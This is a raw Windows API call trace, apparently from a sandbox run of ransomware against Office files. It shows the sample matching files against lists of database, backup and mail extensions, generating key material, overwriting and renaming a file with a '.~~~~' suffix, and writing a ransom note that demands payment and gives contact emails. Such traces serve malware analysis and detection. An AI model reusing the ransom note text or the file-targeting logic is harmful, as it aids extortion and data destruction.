	[0081.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".EQL") returned 0x0
	[0081.175] lstrlenW (lpString=".FDB") returned 4
	[0081.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".FDB") returned 0x0
	[0081.175] lstrlenW (lpString=".EDB") returned 4
	[0081.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".EDB") returned 0x0
	[0081.175] lstrlenW (lpString=".DACPAC") returned 7
	[0081.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".DACPAC") returned 0x0
	[0081.175] lstrlenW (lpString=".VHD") returned 4
	[0081.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".VHD") returned 0x0
	[0081.175] lstrlenW (lpString=".DBV") returned 4
	[0081.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".DBV") returned 0x0
	[0081.175] lstrlenW (lpString=".dacpac") returned 7
	[0081.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".dacpac") returned 0x0
	[0081.175] lstrlenW (lpString=".sdf") returned 4
	[0081.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".sdf") returned 0x0
	[0081.176] lstrlenW (lpString=".accdb") returned 6
	[0081.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".accdb") returned 0x0
	[0081.176] lstrlenW (lpString=".DBX") returned 4
	[0081.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".DBX") returned 0x0
	[0081.176] lstrlenW (lpString=".MDT") returned 4
	[0081.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".MDT") returned 0x0
	[0081.176] lstrlenW (lpString=".SQB") returned 4
	[0081.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".SQB") returned 0x0
	[0081.176] lstrlenW (lpString=".vhd") returned 4
	[0081.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".vhd") returned 0x0
	[0081.176] lstrlenW (lpString=".bac") returned 4
	[0081.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".bac") returned 0x0
	[0081.176] lstrlenW (lpString=".mdf") returned 4
	[0081.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".mdf") returned 0x0
	[0081.176] lstrlenW (lpString=".BAK") returned 4
	[0081.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".BAK") returned 0x0
	[0081.176] lstrlenW (lpString=".BAC") returned 4
	[0081.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".BAC") returned 0x0
	[0081.176] lstrlenW (lpString=".dbs") returned 4
	[0081.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".dbs") returned 0x0
	[0081.177] lstrlenW (lpString=".vhdx") returned 5
	[0081.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".vhdx") returned 0x0
	[0081.177] lstrlenW (lpString=".NDF") returned 4
	[0081.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".NDF") returned 0x0
	[0081.177] lstrlenW (lpString=".dat") returned 4
	[0081.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".dat") returned 0x0
	[0081.177] lstrlenW (lpString=".DBS") returned 4
	[0081.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".DBS") returned 0x0
	[0081.177] lstrlenW (lpString=".CKP") returned 4
	[0081.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".CKP") returned 0x0
	[0081.177] lstrlenW (lpString=".edb") returned 4
	[0081.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".edb") returned 0x0
	[0081.177] lstrlenW (lpString=".PST") returned 4
	[0081.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".PST") returned 0x0
	[0081.177] lstrlenW (lpString=".dbf") returned 4
	[0081.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".dbf") returned 0x0
	[0081.177] lstrlenW (lpString=".SQL") returned 4
	[0081.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".SQL") returned 0x0
	[0081.177] lstrlenW (lpString=".pst") returned 4
	[0081.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".pst") returned 0x0
	[0081.177] lstrlenW (lpString=".dbv") returned 4
	[0081.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".dbv") returned 0x0
	[0081.178] lstrlenW (lpString=".SDF") returned 4
	[0081.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".SDF") returned 0x0
	[0081.178] lstrlenW (lpString=".dtxs") returned 5
	[0081.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".dtxs") returned 0x0
	[0081.178] lstrlenW (lpString=".db3") returned 4
	[0081.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".db3") returned 0x0
	[0081.178] lstrlenW (lpString=".OST") returned 4
	[0081.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".OST") returned 0x0
	[0081.178] lstrlenW (lpString=".dbx") returned 4
	[0081.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".dbx") returned 0x0
	[0081.178] lstrlenW (lpString=".DB3") returned 4
	[0081.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".DB3") returned 0x0
	[0081.178] lstrlenW (lpString=".DAT") returned 4
	[0081.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".DAT") returned 0x0
	[0081.178] lstrlenW (lpString=".VHDX") returned 5
	[0081.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".VHDX") returned 0x0
	[0081.178] lstrlenW (lpString=".ndf") returned 4
	[0081.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".ndf") returned 0x0
	[0081.178] lstrlenW (lpString=".DB") returned 3
	[0081.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".DB") returned 0x0
	[0081.178] lstrlenW (lpString=".sql") returned 4
	[0081.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".sql") returned 0x0
	[0081.179] lstrlenW (lpString=".MYD") returned 4
	[0081.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".MYD") returned 0x0
	[0081.179] lstrlenW (lpString=".DBT") returned 4
	[0081.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".DBT") returned 0x0
	[0081.179] lstrlenW (lpString=".ACCDB") returned 6
	[0081.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".ACCDB") returned 0x0
	[0081.179] lstrlenW (lpString=".fdb") returned 4
	[0081.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".fdb") returned 0x0
	[0081.179] lstrlenW (lpString=".bak") returned 4
	[0081.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".bak") returned 0x0
	[0081.179] lstrlenW (lpString=".myd") returned 4
	[0081.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".myd") returned 0x0
	[0081.179] lstrlenW (lpString=".DTXS") returned 5
	[0081.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".DTXS") returned 0x0
	[0081.179] lstrlenW (lpString=".ckp") returned 4
	[0081.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".ckp") returned 0x0
	[0081.180] lstrlenW (lpString=".dbt") returned 4
	[0081.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".dbt") returned 0x0
	[0081.180] lstrlenW (lpString=".db") returned 3
	[0081.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".db") returned 0x0
	[0081.180] lstrlenW (lpString=".TXT") returned 4
	[0081.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".TXT") returned 0x0
	[0081.180] lstrlenW (lpString=".MDF") returned 4
	[0081.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".MDF") returned 0x0
	[0081.180] lstrlenW (lpString=".bdb") returned 4
	[0081.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".bdb") returned 0x0
	[0081.180] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0081.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.180] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0081.182] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.182] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0081.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0081.182] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20117187514) returned 1
	[0081.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9a3d9070, dwHighDateTime=0x1d60e1e)) 
	[0081.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0081.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0081.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0081.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fab68
	[0081.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fab68 | out: hHeap=0x300000) returned 1
	[0081.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.182] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0081.183] GetLastError () returned 0x0
	[0081.183] GetLastError () returned 0x0
	[0081.183] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0081.183] GetLastError () returned 0x0
	[0081.183] GetLastError () returned 0x0
	[0081.183] ReadFile (in: hFile=0x128, lpBuffer=0x37b730, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesRead=0x1f8fec0*=0x543, lpOverlapped=0x0) returned 1
	[0081.185] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffabd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.186] WriteFile (in: hFile=0x128, lpBuffer=0x37b730*, nNumberOfBytesToWrite=0x543, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesWritten=0x1f8fec0*=0x543, lpOverlapped=0x0) returned 1
	[0081.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b730 | out: hHeap=0x300000) returned 1
	[0081.186] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.186] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.186] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.186] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.186] CloseHandle (hObject=0x128) returned 1
	[0081.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800038
	[0081.186] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.~~~~")) returned 1
	[0081.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800038 | out: hHeap=0x300000) returned 1
	[0081.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0081.187] GetLastError () returned 0x0
	[0081.188] RtlWakeConditionVariable () returned 0x365f70
	[0081.188] GetCurrentThreadId () returned 0xaf0
	[0081.188] GetCurrentThreadId () returned 0xaf0
	[0081.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800038
	[0081.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28003d8 | out: hHeap=0x300000) returned 1
	[0081.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fab30 | out: hHeap=0x300000) returned 1
	[0081.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x28003d8
	[0081.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0081.189] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0081.189] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0081.190] CloseHandle (hObject=0x128) returned 1
	[0081.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28003d8 | out: hHeap=0x300000) returned 1
	[0081.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800038 | out: hHeap=0x300000) returned 1
	[0081.190] RtlWakeConditionVariable () returned 0x365f70
	[0081.190] GetCurrentThreadId () returned 0xaf0
	[0081.190] GetCurrentThreadId () returned 0xaf0
	[0081.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d610 | out: hHeap=0x300000) returned 1
	[0081.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faaf8 | out: hHeap=0x300000) returned 1
	[0081.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0a88
	[0081.191] lstrlenW (lpString=".scr") returned 4
	[0081.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".scr") returned 0x0
	[0081.191] lstrlenW (lpString=".cmd") returned 4
	[0081.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".cmd") returned 0x0
	[0081.191] lstrlenW (lpString=".dll") returned 4
	[0081.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".dll") returned 0x0
	[0081.191] lstrlenW (lpString=".bat") returned 4
	[0081.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".bat") returned 0x0
	[0081.191] lstrlenW (lpString=".cpl") returned 4
	[0081.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".cpl") returned 0x0
	[0081.191] lstrlenW (lpString=".sys") returned 4
	[0081.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".sys") returned 0x0
	[0081.191] lstrlenW (lpString=".msc") returned 4
	[0081.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".msc") returned 0x0
	[0081.191] lstrlenW (lpString=".com") returned 4
	[0081.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".com") returned 0x0
	[0081.192] lstrlenW (lpString=".lnk") returned 4
	[0081.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".lnk") returned 0x0
	[0081.192] lstrlenW (lpString=".msp") returned 4
	[0081.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".msp") returned 0x0
	[0081.192] lstrlenW (lpString=".pif") returned 4
	[0081.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".pif") returned 0x0
	[0081.192] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0081.193] lstrlenW (lpString=".sqb") returned 4
	[0081.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".sqb") returned 0x0
	[0081.193] lstrlenW (lpString=".ost") returned 4
	[0081.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".ost") returned 0x0
	[0081.193] lstrlenW (lpString=".txt") returned 4
	[0081.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".txt") returned 0x0
	[0081.193] lstrlenW (lpString=".mdt") returned 4
	[0081.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".mdt") returned 0x0
	[0081.193] lstrlenW (lpString=".BDB") returned 4
	[0081.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".BDB") returned 0x0
	[0081.193] lstrlenW (lpString=".eql") returned 4
	[0081.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".eql") returned 0x0
	[0081.194] lstrlenW (lpString=".DBF") returned 4
	[0081.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".DBF") returned 0x0
	[0081.194] lstrlenW (lpString=".EQL") returned 4
	[0081.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".EQL") returned 0x0
	[0081.194] lstrlenW (lpString=".FDB") returned 4
	[0081.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".FDB") returned 0x0
	[0081.194] lstrlenW (lpString=".EDB") returned 4
	[0081.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", lpSrch=".EDB") returned 0x0
	[0081.194] lstrlenW (lpString=".DACPAC") returned 7
